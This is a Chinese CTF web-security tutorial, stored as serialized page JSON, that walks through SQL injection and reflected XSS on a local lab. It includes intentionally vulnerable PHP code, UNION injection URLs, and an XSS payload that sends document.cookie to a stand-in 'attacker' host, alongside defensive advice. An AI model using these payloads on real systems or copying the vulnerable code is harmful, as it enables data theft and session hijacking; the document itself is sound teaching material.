[{"data":1,"prerenderedAt":15142},["ShallowReactive",2],{"blog-post-/blogs/ctf-web-overview":3,"all-blogs-for-navigation":2018},{"id":4,"title":5,"body":6,"description":2005,"extension":2006,"meta":2007,"navigation":224,"ogImage":2009,"path":2014,"seo":2015,"stem":2016,"__hash__":2017},"content/blogs/9. ctf-web-overview.md","CTF Web 入门：必学漏洞与基础工具",{"type":7,"value":8,"toc":1993},"minimark",[9,14,18,52,58,66,69,134,146,150,153,263,266,270,275,278,281,318,325,462,465,479,483,486,502,505,511,515,524,538,544,547,578,581,587,590,593,619,625,628,654,657,668,672,677,686,689,715,718,749,755,758,784,790,793,829,834,837,868,873,876,901,905,920,931,935,940,957,961,967,976,980,996,1002,1006,1022,1024,1077,1086,1090,1093,1140,1147,1151,1154,1226,1233,1237,1242,1266,1270,1276,1309,1313,1344,1346,1352,1356,1387,1390,1394,1425,1428,1432,1457,1461,1464,1467,1481,1485,1491,1523,1532,1538,1569,1572,1576,1579,1633,1636,1640,1643,1646,1668,1671,1677,1680,1700,1705,1708,1740,1748,1752,1759,1779,1783,1788,1818,1823,1827,1836,1858,1860,1888,1891,1900,1909,1923,1927,1932,1975,1982,1986,1989],[10,11,13],"h3",{"id":12},"一开始之前http-请求到底是什么","一、开始之前：HTTP 请求到底是什么",[15,16,17],"p",{},"Web 题目就是一个网站，解题就是向它发请求。先看一个请求长什么样。用 curl 访问一个带参数的 URL：",[19,20,25],"pre",{"className":21,"code":22,"language":23,"meta":24,"style":24},"language-bash shiki shiki-themes dracula","curl -v \"http://127.0.0.1:8000/index.php?id=1\"\n","bash","",[26,27,28],"code",{"__ignoreMap":24},[29,30,33,37,41,45,49],"span",{"class":31,"line":32},"line",1,[29,34,36],{"class":35},"sAOxA","curl",[29,38,40],{"class":39},"sIQBb"," -v",[29,42,44],{"class":43},"seVfx"," \"",[29,46,48],{"class":47},"s-mGx","http://127.0.0.1:8000/index.php?id=1",[29,50,51],{"class":43},"\"\n",[15,53,54,57],{},[26,55,56],{},"-v"," 会显示完整过程，输出示例：",[19,59,64],{"className":60,"code":62,"language":63,"meta":24},[61],"language-text","> GET /index.php?id=1 HTTP/1.1\n> Host: 127.0.0.1:8000\n> User-Agent: curl/8.0.1\n>\n\u003C HTTP/1.1 200 OK\n\u003C Content-Type: text/html\n\u003C\n\u003Ch1>文章标题\u003C/h1>\n","text",[26,65,62],{"__ignoreMap":24},[15,67,68],{},"解释：",[70,71,72,85],"table",{},[73,74,75],"thead",{},[76,77,78,82],"tr",{},[79,80,81],"th",{},"部分",[79,83,84],{},"含义",[86,87,88,106,116,126],"tbody",{},[76,89,90,96],{},[91,92,93],"td",{},[26,94,95],{},"GET /index.php?id=1",[91,97,98,99,102,103],{},"方法 GET，路径 ",[26,100,101],{},"/index.php","，参数 ",[26,104,105],{},"id=1",[76,107,108,113],{},[91,109,110],{},[26,111,112],{},"Host",[91,114,115],{},"目标主机",[76,117,118,123],{},[91,119,120],{},[26,121,122],{},"HTTP/1.1 200 OK",[91,124,125],{},"协议版本与状态码，200 表示成功",[76,127,128,131],{},[91,129,130],{},"正文",[91,132,133],{},"服务器返回的 HTML",[15,135,136,137,145],{},"Web 漏洞几乎都源于一件事：",[138,139,140,141,144],"strong",{},"参数 ",[26,142,143],{},"id"," 是用户可控的，服务器却直接把它拼进了 SQL、命令、HTML 或模板","。下面三个漏洞都是这个原因。",[10,147,149],{"id":148},"二环境准备先搭一个能打的靶场","二、环境准备：先搭一个能打的靶场",[15,151,152],{},"推荐 sqli-labs（专练 SQL 注入）和 DVWA（综合靶场）。在 Linux（Kali/Ubuntu）上：",[19,154,156],{"className":21,"code":155,"language":23,"meta":24,"style":24},"# 方式一：源码部署（需要 PHP + MySQL）\napt install php php-mysql mariadb-server\ngit clone https://github.com/Audi-1/sqli-labs.git\ncd sqli-labs\nphp -S 127.0.0.1:8000        # 启动后浏览器访问，点 Setup/reset Database\n\n# 方式二：Docker 部署（最简单）\ndocker pull tavenli/sqli-labs\ndocker run -d -p 8000:80 tavenli/sqli-labs\n",[26,157,158,164,182,194,204,219,226,232,244],{"__ignoreMap":24},[29,159,160],{"class":31,"line":32},[29,161,163],{"class":162},"shSDL","# 方式一：源码部署（需要 PHP + MySQL）\n",[29,165,167,170,173,176,179],{"class":31,"line":166},2,[29,168,169],{"class":35},"apt",[29,171,172],{"class":47}," install",[29,174,175],{"class":47}," php",[29,177,178],{"class":47}," php-mysql",[29,180,181],{"class":47}," mariadb-server\n",[29,183,185,188,191],{"class":31,"line":184},3,[29,186,187],{"class":35},"git",[29,189,190],{"class":47}," clone",[29,192,193],{"class":47}," https://github.com/Audi-1/sqli-labs.git\n",[29,195,197,201],{"class":31,"line":196},4,[29,198,200],{"class":199},"sLL85","cd",[29,202,203],{"class":47}," sqli-labs\n",[29,205,207,210,213,216],{"class":31,"line":206},5,[29,208,209],{"class":35},"php",[29,211,212],{"class":39}," -S",[29,214,215],{"class":47}," 127.0.0.1:8000",[29,217,218],{"class":162},"        # 启动后浏览器访问，点 Setup/reset Database\n",[29,220,222],{"class":31,"line":221},6,[29,223,225],{"emptyLinePlaceholder":224},true,"\n",[29,227,229],{"class":31,"line":228},7,[29,230,231],{"class":162},"# 方式二：Docker 部署（最简单）\n",[29,233,235,238,241],{"class":31,"line":234},8,[29,236,237],{"class":35},"docker",[29,239,240],{"class":47}," pull",[29,242,243],{"class":47}," tavenli/sqli-labs\n",[29,245,247,249,252,255,258,261],{"class":31,"line":246},9,[29,248,237],{"class":35},[29,250,251],{"class":47}," run",[29,253,254],{"class":39}," -d",[29,256,257],{"class":39}," -p",[29,259,260],{"class":47}," 8000:80",[29,262,243],{"class":47},[15,264,265],{},"本文的示例都基于\"自建的最小页面\"，因为自建页面能完整看到源码，理解更透彻。下一节开始逐步搭建。",[10,267,269],{"id":268},"三核心漏洞-1sql-注入完整复现","三、核心漏洞 1：SQL 注入（完整复现）",[271,272,274],"h4",{"id":273},"_31-平台与代码","3.1 平台与代码",[15,276,277],{},"平台：Linux + PHP + MySQL。",[15,279,280],{},"第一步，建数据库。在 MySQL 里执行：",[19,282,286],{"className":283,"code":284,"language":285,"meta":24,"style":24},"language-sql shiki shiki-themes dracula","CREATE DATABASE ctf;\nUSE ctf;\nCREATE TABLE articles (id INT, title VARCHAR(50), content VARCHAR(200));\nINSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\nCREATE TABLE flag (flag VARCHAR(100));\nINSERT INTO flag VALUES ('flag{sql_injection}');\n","sql",[26,287,288,293,298,303,308,313],{"__ignoreMap":24},[29,289,290],{"class":31,"line":32},[29,291,292],{},"CREATE DATABASE ctf;\n",[29,294,295],{"class":31,"line":166},[29,296,297],{},"USE ctf;\n",[29,299,300],{"class":31,"line":184},[29,301,302],{},"CREATE TABLE articles (id INT, title VARCHAR(50), content VARCHAR(200));\n",[29,304,305],{"class":31,"line":196},[29,306,307],{},"INSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\n",[29,309,310],{"class":31,"line":206},[29,311,312],{},"CREATE TABLE flag (flag VARCHAR(100));\n",[29,314,315],{"class":31,"line":221},[29,316,317],{},"INSERT INTO flag VALUES ('flag{sql_injection}');\n",[15,319,320,321,324],{},"第二步，写漏洞页面 ",[26,322,323],{},"vuln.php","：",[19,326,329],{"className":327,"code":328,"language":209,"meta":24,"style":24},"language-php shiki shiki-themes dracula","\u003C?php\n$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n// 上面的 mysqli 构造函数：参数依次是数据库主机、用户名、密码、库名；\n// 返回值是数据库连接对象，后面所有查询都通过它执行。\n\n$id = $_GET['id'];\n// 从 URL 查询参数中取出 id（例如访问 ?id=1 时这里得到字符串 \"1\"）。\n// 注意：$_GET 拿到的永远是字符串，且完全由用户控制。\n\n$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n// 关键漏洞行：用字符串拼接把 $id 直接塞进 SQL 语句。\n// 如果 $id 是 \"1 OR 1=1\"，这条语句就变成\n// SELECT ... WHERE id = 1 OR 1=1，条件恒真，会返回全部记录。\n\n$result = $conn->query($sql);\n// 把拼好的 SQL 字符串发给 MySQL 执行；$result 是结果集对象。\n\nwhile ($row = $result->fetch_assoc()) {\n    // fetch_assoc() 每次取出一行，返回关联数组，例如 ['id'=>1, 'title'=>'hello', ...]\n    // 取不到更多行时返回 null，while 结束。\n    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n    // 把每行的三个字段拼起来输出到页面，攻击者靠这些输出判断查询结果。\n}\n?>\n",[26,330,331,336,341,346,351,355,360,365,370,374,380,386,392,398,403,409,415,420,426,432,438,444,450,456],{"__ignoreMap":24},[29,332,333],{"class":31,"line":32},[29,334,335],{},"\u003C?php\n",[29,337,338],{"class":31,"line":166},[29,339,340],{},"$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n",[29,342,343],{"class":31,"line":184},[29,344,345],{},"// 上面的 mysqli 构造函数：参数依次是数据库主机、用户名、密码、库名；\n",[29,347,348],{"class":31,"line":196},[29,349,350],{},"// 返回值是数据库连接对象，后面所有查询都通过它执行。\n",[29,352,353],{"class":31,"line":206},[29,354,225],{"emptyLinePlaceholder":224},[29,356,357],{"class":31,"line":221},[29,358,359],{},"$id = $_GET['id'];\n",[29,361,362],{"class":31,"line":228},[29,363,364],{},"// 从 URL 查询参数中取出 id（例如访问 ?id=1 时这里得到字符串 \"1\"）。\n",[29,366,367],{"class":31,"line":234},[29,368,369],{},"// 注意：$_GET 拿到的永远是字符串，且完全由用户控制。\n",[29,371,372],{"class":31,"line":246},[29,373,225],{"emptyLinePlaceholder":224},[29,375,377],{"class":31,"line":376},10,[29,378,379],{},"$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n",[29,381,383],{"class":31,"line":382},11,[29,384,385],{},"// 关键漏洞行：用字符串拼接把 $id 直接塞进 SQL 语句。\n",[29,387,389],{"class":31,"line":388},12,[29,390,391],{},"// 如果 $id 是 \"1 OR 1=1\"，这条语句就变成\n",[29,393,395],{"class":31,"line":394},13,[29,396,397],{},"// SELECT ... WHERE id = 1 OR 1=1，条件恒真，会返回全部记录。\n",[29,399,401],{"class":31,"line":400},14,[29,402,225],{"emptyLinePlaceholder":224},[29,404,406],{"class":31,"line":405},15,[29,407,408],{},"$result = $conn->query($sql);\n",[29,410,412],{"class":31,"line":411},16,[29,413,414],{},"// 把拼好的 SQL 字符串发给 MySQL 执行；$result 是结果集对象。\n",[29,416,418],{"class":31,"line":417},17,[29,419,225],{"emptyLinePlaceholder":224},[29,421,423],{"class":31,"line":422},18,[29,424,425],{},"while ($row = $result->fetch_assoc()) {\n",[29,427,429],{"class":31,"line":428},19,[29,430,431],{},"    // fetch_assoc() 每次取出一行，返回关联数组，例如 ['id'=>1, 'title'=>'hello', ...]\n",[29,433,435],{"class":31,"line":434},20,[29,436,437],{},"    // 取不到更多行时返回 null，while 结束。\n",[29,439,441],{"class":31,"line":440},21,[29,442,443],{},"    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n",[29,445,447],{"class":31,"line":446},22,[29,448,449],{},"    // 把每行的三个字段拼起来输出到页面，攻击者靠这些输出判断查询结果。\n",[29,451,453],{"class":31,"line":452},23,[29,454,455],{},"}\n",[29,457,459],{"class":31,"line":458},24,[29,460,461],{},"?>\n",[15,463,464],{},"第三步，启动：",[19,466,468],{"className":21,"code":467,"language":23,"meta":24,"style":24},"php -S 127.0.0.1:8000\n",[26,469,470],{"__ignoreMap":24},[29,471,472,474,476],{"class":31,"line":32},[29,473,209],{"class":35},[29,475,212],{"class":39},[29,477,478],{"class":47}," 127.0.0.1:8000\n",[271,480,482],{"id":481},"_32-正常请求","3.2 正常请求",[15,484,485],{},"输入：",[19,487,489],{"className":21,"code":488,"language":23,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1\"\n",[26,490,491],{"__ignoreMap":24},[29,492,493,495,497,500],{"class":31,"line":32},[29,494,36],{"class":35},[29,496,44],{"class":43},[29,498,499],{"class":47},"http://127.0.0.1:8000/vuln.php?id=1",[29,501,51],{"class":43},[15,503,504],{},"预期输出：",[19,506,509],{"className":507,"code":508,"language":63,"meta":24},[61],"1 hello world\n",[26,510,508],{"__ignoreMap":24},[271,512,514],{"id":513},"_33-判断注入点三步","3.3 判断注入点（三步）",[15,516,517,520,521,523],{},[138,518,519],{},"目的","：确认 ",[26,522,143],{}," 参数确实能被拼进 SQL 并影响查询逻辑，而不是被框架做了过滤。",[15,525,526,529,530,533,534,537],{},[138,527,528],{},"思路","：如果注入成立，那么：① 单引号会破坏 SQL 语法导致报错；② 追加 ",[26,531,532],{},"AND 1=1","（恒真）页面正常；③ 追加 ",[26,535,536],{},"AND 1=2","（恒假）查询结果为空。三者同时满足即可判定。",[15,539,540,543],{},[138,541,542],{},"验证方式","：逐条发送以下三个请求，对比输出。",[15,545,546],{},"输入 1：",[19,548,550],{"className":21,"code":549,"language":23,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1'\"\n# 目的：在 id 后追加一个单引号，观察是否报错。\n# 若语句变成 SELECT ... WHERE id = 1'，SQL 语法不完整，MySQL 会报错。\n# 报错 = 输入确实进入了 SQL 语句（注入点存在的第一个证据）。\n",[26,551,552,563,568,573],{"__ignoreMap":24},[29,553,554,556,558,561],{"class":31,"line":32},[29,555,36],{"class":35},[29,557,44],{"class":43},[29,559,560],{"class":47},"http://127.0.0.1:8000/vuln.php?id=1'",[29,562,51],{"class":43},[29,564,565],{"class":31,"line":166},[29,566,567],{"class":162},"# 目的：在 id 后追加一个单引号，观察是否报错。\n",[29,569,570],{"class":31,"line":184},[29,571,572],{"class":162},"# 若语句变成 SELECT ... WHERE id = 1'，SQL 语法不完整，MySQL 会报错。\n",[29,574,575],{"class":31,"line":196},[29,576,577],{"class":162},"# 报错 = 输入确实进入了 SQL 语句（注入点存在的第一个证据）。\n",[15,579,580],{},"预期输出：SQL 语法错误，例如：",[19,582,585],{"className":583,"code":584,"language":63,"meta":24},[61],"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version ...\n",[26,586,584],{"__ignoreMap":24},[15,588,589],{},"这说明我们的单引号进入了 SQL 语句并破坏了语法。",[15,591,592],{},"输入 2：",[19,594,596],{"className":21,"code":595,"language":23,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1\"\n# 目的：验证\"能改变查询条件\"。1=1 恒真，若正常返回说明拼接生效。\n# 输出应为 1 hello world，与 id=1 相同，说明 AND 部分被执行。\n",[26,597,598,609,614],{"__ignoreMap":24},[29,599,600,602,604,607],{"class":31,"line":32},[29,601,36],{"class":35},[29,603,44],{"class":43},[29,605,606],{"class":47},"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1",[29,608,51],{"class":43},[29,610,611],{"class":31,"line":166},[29,612,613],{"class":162},"# 目的：验证\"能改变查询条件\"。1=1 恒真，若正常返回说明拼接生效。\n",[29,615,616],{"class":31,"line":184},[29,617,618],{"class":162},"# 输出应为 1 hello world，与 id=1 相同，说明 AND 部分被执行。\n",[15,620,504,621,624],{},[26,622,623],{},"1 hello world","（条件为真，正常返回）。",[15,626,627],{},"输入 3：",[19,629,631],{"className":21,"code":630,"language":23,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2\"\n# 目的：验证\"条件为假时结果为空\"。1=2 恒假，正常应无输出。\n# 输出为空 = 我们的输入确实参与 WHERE 判断，注入点最终确认。\n",[26,632,633,644,649],{"__ignoreMap":24},[29,634,635,637,639,642],{"class":31,"line":32},[29,636,36],{"class":35},[29,638,44],{"class":43},[29,640,641],{"class":47},"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2",[29,643,51],{"class":43},[29,645,646],{"class":31,"line":166},[29,647,648],{"class":162},"# 目的：验证\"条件为假时结果为空\"。1=2 恒假，正常应无输出。\n",[29,650,651],{"class":31,"line":184},[29,652,653],{"class":162},"# 输出为空 = 我们的输入确实参与 WHERE 判断，注入点最终确认。\n",[15,655,656],{},"预期输出：空（条件为假，查不到数据）。",[15,658,659,660,663,664,667],{},"三个结果合起来：单引号报错、",[26,661,662],{},"1=1"," 正常、",[26,665,666],{},"1=2"," 为空 → 注入点确认。",[271,669,671],{"id":670},"_34-利用union-拖数据","3.4 利用：UNION 拖数据",[15,673,674,676],{},[138,675,519],{},"：在确认注入后，把数据库里的表结构和数据\"借\"UNION 查询显示到页面上。",[15,678,679,681,682,685],{},[138,680,528],{},"：UNION 可以把两个 SELECT 的结果合并输出，但要求两边列数相同，且第一个查询最好返回空（用不存在的 ",[26,683,684],{},"id=-1","），这样页面显示的就是我们构造的第二个查询。因此先数列数，再确定哪一列会回显，最后把要查的内容（库名、表名、flag）放到回显列上。",[15,687,688],{},"第一步，确定列数：",[19,690,692],{"className":21,"code":691,"language":23,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1\"\n# ORDER BY N 表示按第 N 列排序；列数 >= N 时正常，超出时报错。\n# 依次尝试 N=1,2,3 都正常，N=4 报错，说明该查询恰好有 3 列。\n",[26,693,694,705,710],{"__ignoreMap":24},[29,695,696,698,700,703],{"class":31,"line":32},[29,697,36],{"class":35},[29,699,44],{"class":43},[29,701,702],{"class":47},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1",[29,704,51],{"class":43},[29,706,707],{"class":31,"line":166},[29,708,709],{"class":162},"# ORDER BY N 表示按第 N 列排序；列数 >= N 时正常，超出时报错。\n",[29,711,712],{"class":31,"line":184},[29,713,714],{"class":162},"# 依次尝试 N=1,2,3 都正常，N=4 报错，说明该查询恰好有 3 列。\n",[15,716,717],{},"第二步，确认哪一列会回显：",[19,719,721],{"className":21,"code":720,"language":23,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+\"\n# id=-1：让第一个查询查不到任何记录，这样 UNION 只显示我们构造的部分。\n# SELECT 1,2,3：与原来 3 列对齐；数字 2、3 会显示在页面上，说明这两个位置可回显数据。\n# --+：URL 解码后为 \"-- \"，即 SQL 注释，把原查询后面的代码注释掉。\n",[26,722,723,734,739,744],{"__ignoreMap":24},[29,724,725,727,729,732],{"class":31,"line":32},[29,726,36],{"class":35},[29,728,44],{"class":43},[29,730,731],{"class":47},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+",[29,733,51],{"class":43},[29,735,736],{"class":31,"line":166},[29,737,738],{"class":162},"# id=-1：让第一个查询查不到任何记录，这样 UNION 只显示我们构造的部分。\n",[29,740,741],{"class":31,"line":184},[29,742,743],{"class":162},"# SELECT 1,2,3：与原来 3 列对齐；数字 2、3 会显示在页面上，说明这两个位置可回显数据。\n",[29,745,746],{"class":31,"line":196},[29,747,748],{"class":162},"# --+：URL 解码后为 \"-- \"，即 SQL 注释，把原查询后面的代码注释掉。\n",[15,750,504,751,754],{},[26,752,753],{},"2 3","（数字 1 不显示，2、3 的位置可以显示内容）。",[15,756,757],{},"第三步，查数据库名：",[19,759,761],{"className":21,"code":760,"language":23,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+\"\n# database() 是 MySQL 函数，返回当前数据库名；放到第 2 列（回显位）即可看到。\n# 预期输出 ctf，这一步是为了确认我们在哪个库里，便于后面精确指定表名。\n",[26,762,763,774,779],{"__ignoreMap":24},[29,764,765,767,769,772],{"class":31,"line":32},[29,766,36],{"class":35},[29,768,44],{"class":43},[29,770,771],{"class":47},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+",[29,773,51],{"class":43},[29,775,776],{"class":31,"line":166},[29,777,778],{"class":162},"# database() 是 MySQL 函数，返回当前数据库名；放到第 2 列（回显位）即可看到。\n",[29,780,781],{"class":31,"line":184},[29,782,783],{"class":162},"# 预期输出 ctf，这一步是为了确认我们在哪个库里，便于后面精确指定表名。\n",[15,785,504,786,789],{},[26,787,788],{},"ctf","。",[15,791,792],{},"第四步，查表名：",[19,794,796],{"className":21,"code":795,"language":23,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+\"\n# information_schema.tables：MySQL 自带的元数据表，记录所有表名。\n# WHERE table_schema=database()：只筛当前库的表。\n# group_concat(table_name)：把多行表名拼成一行逗号分隔，方便一次性输出。\n# 预期输出 articles,flag,users —— 看到 flag 表，猜测 flag 就存在这里。\n",[26,797,798,809,814,819,824],{"__ignoreMap":24},[29,799,800,802,804,807],{"class":31,"line":32},[29,801,36],{"class":35},[29,803,44],{"class":43},[29,805,806],{"class":47},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+",[29,808,51],{"class":43},[29,810,811],{"class":31,"line":166},[29,812,813],{"class":162},"# information_schema.tables：MySQL 自带的元数据表，记录所有表名。\n",[29,815,816],{"class":31,"line":184},[29,817,818],{"class":162},"# WHERE table_schema=database()：只筛当前库的表。\n",[29,820,821],{"class":31,"line":196},[29,822,823],{"class":162},"# group_concat(table_name)：把多行表名拼成一行逗号分隔，方便一次性输出。\n",[29,825,826],{"class":31,"line":206},[29,827,828],{"class":162},"# 预期输出 articles,flag,users —— 看到 flag 表，猜测 flag 就存在这里。\n",[15,830,504,831,789],{},[26,832,833],{},"articles,flag,users",[15,835,836],{},"第五步，拿 flag：",[19,838,840],{"className":21,"code":839,"language":23,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+\"\n# 上一步猜出 flag 表，这一步直接查它：SELECT 1,flag,3 表示从 flag 表取 flag 列。\n# 如果表名或列名猜错会报错，可回头用 information_schema.columns 查列名再试。\n# 预期输出 flag{sql_injection}，即本题的答案。\n",[26,841,842,853,858,863],{"__ignoreMap":24},[29,843,844,846,848,851],{"class":31,"line":32},[29,845,36],{"class":35},[29,847,44],{"class":43},[29,849,850],{"class":47},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+",[29,852,51],{"class":43},[29,854,855],{"class":31,"line":166},[29,856,857],{"class":162},"# 上一步猜出 flag 表，这一步直接查它：SELECT 1,flag,3 表示从 flag 表取 flag 列。\n",[29,859,860],{"class":31,"line":184},[29,861,862],{"class":162},"# 如果表名或列名猜错会报错，可回头用 information_schema.columns 查列名再试。\n",[29,864,865],{"class":31,"line":196},[29,866,867],{"class":162},"# 预期输出 flag{sql_injection}，即本题的答案。\n",[15,869,504,870,789],{},[26,871,872],{},"flag{sql_injection}",[15,874,875],{},"说明：",[877,878,879,885,895],"ul",{},[880,881,882,884],"li",{},[26,883,684],{},"：让第一个查询返回空，UNION 的结果才显示第二个查询。",[880,886,887,890,891,894],{},[26,888,889],{},"--+","：URL 中解码后是 ",[26,892,893],{},"-- ","，即 SQL 注释，把后面代码注释掉。",[880,896,897,900],{},[26,898,899],{},"group_concat","：把多行拼成一行，方便一次性输出。",[271,902,904],{"id":903},"_35-防御参数化查询","3.5 防御：参数化查询",[19,906,908],{"className":327,"code":907,"language":209,"meta":24,"style":24},"$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n$stmt->execute([$_GET['id']]);\n",[26,909,910,915],{"__ignoreMap":24},[29,911,912],{"class":31,"line":32},[29,913,914],{},"$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n",[29,916,917],{"class":31,"line":166},[29,918,919],{},"$stmt->execute([$_GET['id']]);\n",[15,921,922,923,926,927,930],{},"此时输入 ",[26,924,925],{},"1 OR 1=1"," 只会被当作字符串 ",[26,928,929],{},"'1 OR 1=1'"," 去比较，不会改变语句结构。",[10,932,934],{"id":933},"四核心漏洞-2xss完整复现","四、核心漏洞 2：XSS（完整复现）",[15,936,937,939],{},[138,938,519],{},"：理解\"用户输入被当 HTML/JS 输出\"这一漏洞，以及如何构造验证。",[15,941,942,944,945,948,949,952,953,956],{},[138,943,528],{},"：页面把 ",[26,946,947],{},"name"," 原样输出。如果我们传 ",[26,950,951],{},"\u003Cscript>alert(1)\u003C/script>","，浏览器会把它当脚本执行。判断方法：先看响应是否原样包含 ",[26,954,955],{},"\u003Cscript>"," 标签（用 curl），再用浏览器确认脚本真的执行。",[271,958,960],{"id":959},"_41-平台与代码","4.1 平台与代码",[15,962,963,964,324],{},"任意 Web 应用。示例 ",[26,965,966],{},"xss.php",[19,968,970],{"className":327,"code":969,"language":209,"meta":24,"style":24},"\u003C?php echo \"你好，\" . $_GET['name'] . \"！\"; ?>\n",[26,971,972],{"__ignoreMap":24},[29,973,974],{"class":31,"line":32},[29,975,969],{},[271,977,979],{"id":978},"_42-正常请求","4.2 正常请求",[19,981,983],{"className":21,"code":982,"language":23,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/xss.php?name=alice\"\n",[26,984,985],{"__ignoreMap":24},[29,986,987,989,991,994],{"class":31,"line":32},[29,988,36],{"class":35},[29,990,44],{"class":43},[29,992,993],{"class":47},"http://127.0.0.1:8000/xss.php?name=alice",[29,995,51],{"class":43},[15,997,998,999,789],{},"输出：",[26,1000,1001],{},"你好，alice！",[271,1003,1005],{"id":1004},"_43-注入脚本","4.3 注入脚本",[19,1007,1009],{"className":21,"code":1008,"language":23,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/xss.php?name=\u003Cscript>alert(1)\u003C/script>\"\n",[26,1010,1011],{"__ignoreMap":24},[29,1012,1013,1015,1017,1020],{"class":31,"line":32},[29,1014,36],{"class":35},[29,1016,44],{"class":43},[29,1018,1019],{"class":47},"http://127.0.0.1:8000/xss.php?name=\u003Cscript>alert(1)\u003C/script>",[29,1021,51],{"class":43},[15,1023,998],{},[19,1025,1029],{"className":1026,"code":1027,"language":1028,"meta":24,"style":24},"language-html shiki shiki-themes dracula","你好，\n\u003Cscript>\n  alert(1)\n\u003C/script>\n！\n","html",[26,1030,1031,1037,1049,1063,1072],{"__ignoreMap":24},[29,1032,1033],{"class":31,"line":32},[29,1034,1036],{"class":1035},"sCdxs","你好，\n",[29,1038,1039,1042,1046],{"class":31,"line":166},[29,1040,1041],{"class":1035},"\u003C",[29,1043,1045],{"class":1044},"s0Tla","script",[29,1047,1048],{"class":1035},">\n",[29,1050,1051,1054,1057,1060],{"class":31,"line":184},[29,1052,1053],{"class":35},"  alert",[29,1055,1056],{"class":1035},"(",[29,1058,1059],{"class":39},"1",[29,1061,1062],{"class":1035},")\n",[29,1064,1065,1068,1070],{"class":31,"line":196},[29,1066,1067],{"class":1035},"\u003C/",[29,1069,1045],{"class":1044},[29,1071,1048],{"class":1035},[29,1073,1074],{"class":31,"line":206},[29,1075,1076],{"class":1035},"！\n",[15,1078,1079,1080,1082,1083,1085],{},"浏览器会把 ",[26,1081,955],{}," 当作代码执行。",[26,1084,36],{}," 只是看响应，要看到效果需要用浏览器打开该 URL。",[271,1087,1089],{"id":1088},"_44-危害演示偷-cookie","4.4 危害演示：偷 Cookie",[15,1091,1092],{},"攻击者构造 URL：",[19,1094,1096],{"className":1026,"code":1095,"language":1028,"meta":24,"style":24},"http://127.0.0.1:8000/xss.php?name=\n\u003Cscript>\n  fetch('http://attacker/?c=' + document.cookie)\n\u003C/script>\n",[26,1097,1098,1103,1111,1132],{"__ignoreMap":24},[29,1099,1100],{"class":31,"line":32},[29,1101,1102],{"class":1035},"http://127.0.0.1:8000/xss.php?name=\n",[29,1104,1105,1107,1109],{"class":31,"line":166},[29,1106,1041],{"class":1035},[29,1108,1045],{"class":1044},[29,1110,1048],{"class":1035},[29,1112,1113,1116,1118,1121,1124,1126,1129],{"class":31,"line":184},[29,1114,1115],{"class":35},"  fetch",[29,1117,1056],{"class":1035},[29,1119,1120],{"class":43},"'",[29,1122,1123],{"class":47},"http://attacker/?c=",[29,1125,1120],{"class":43},[29,1127,1128],{"class":1044}," +",[29,1130,1131],{"class":1035}," document.cookie)\n",[29,1133,1134,1136,1138],{"class":31,"line":196},[29,1135,1067],{"class":1035},[29,1137,1045],{"class":1044},[29,1139,1048],{"class":1035},[15,1141,1142,1143,1146],{},"受害者打开后，浏览器会把受害者的 Cookie 发到 ",[26,1144,1145],{},"attacker"," 服务器。攻击者拿到 Cookie 即可冒充登录。",[271,1148,1150],{"id":1149},"_45-防御输出编码","4.5 防御：输出编码",[15,1152,1153],{},"输出前把危险字符转义：",[70,1155,1156,1166],{},[73,1157,1158],{},[76,1159,1160,1163],{},[79,1161,1162],{},"原始字符",[79,1164,1165],{},"转义后",[86,1167,1168,1179,1191,1203,1214],{},[76,1169,1170,1174],{},[91,1171,1172],{},[26,1173,1041],{},[91,1175,1176],{},[26,1177,1178],{},"&lt;",[76,1180,1181,1186],{},[91,1182,1183],{},[26,1184,1185],{},">",[91,1187,1188],{},[26,1189,1190],{},"&gt;",[76,1192,1193,1198],{},[91,1194,1195],{},[26,1196,1197],{},"\"",[91,1199,1200],{},[26,1201,1202],{},"&quot;",[76,1204,1205,1209],{},[91,1206,1207],{},[26,1208,1120],{},[91,1210,1211],{},[26,1212,1213],{},"&#39;",[76,1215,1216,1221],{},[91,1217,1218],{},[26,1219,1220],{},"&",[91,1222,1223],{},[26,1224,1225],{},"&amp;",[15,1227,1228,1229,1232],{},"PHP 用 ",[26,1230,1231],{},"htmlspecialchars()","，或使用默认转义的框架（Vue、React 默认转义插值）。",[10,1234,1236],{"id":1235},"五核心漏洞-3ssrf完整复现","五、核心漏洞 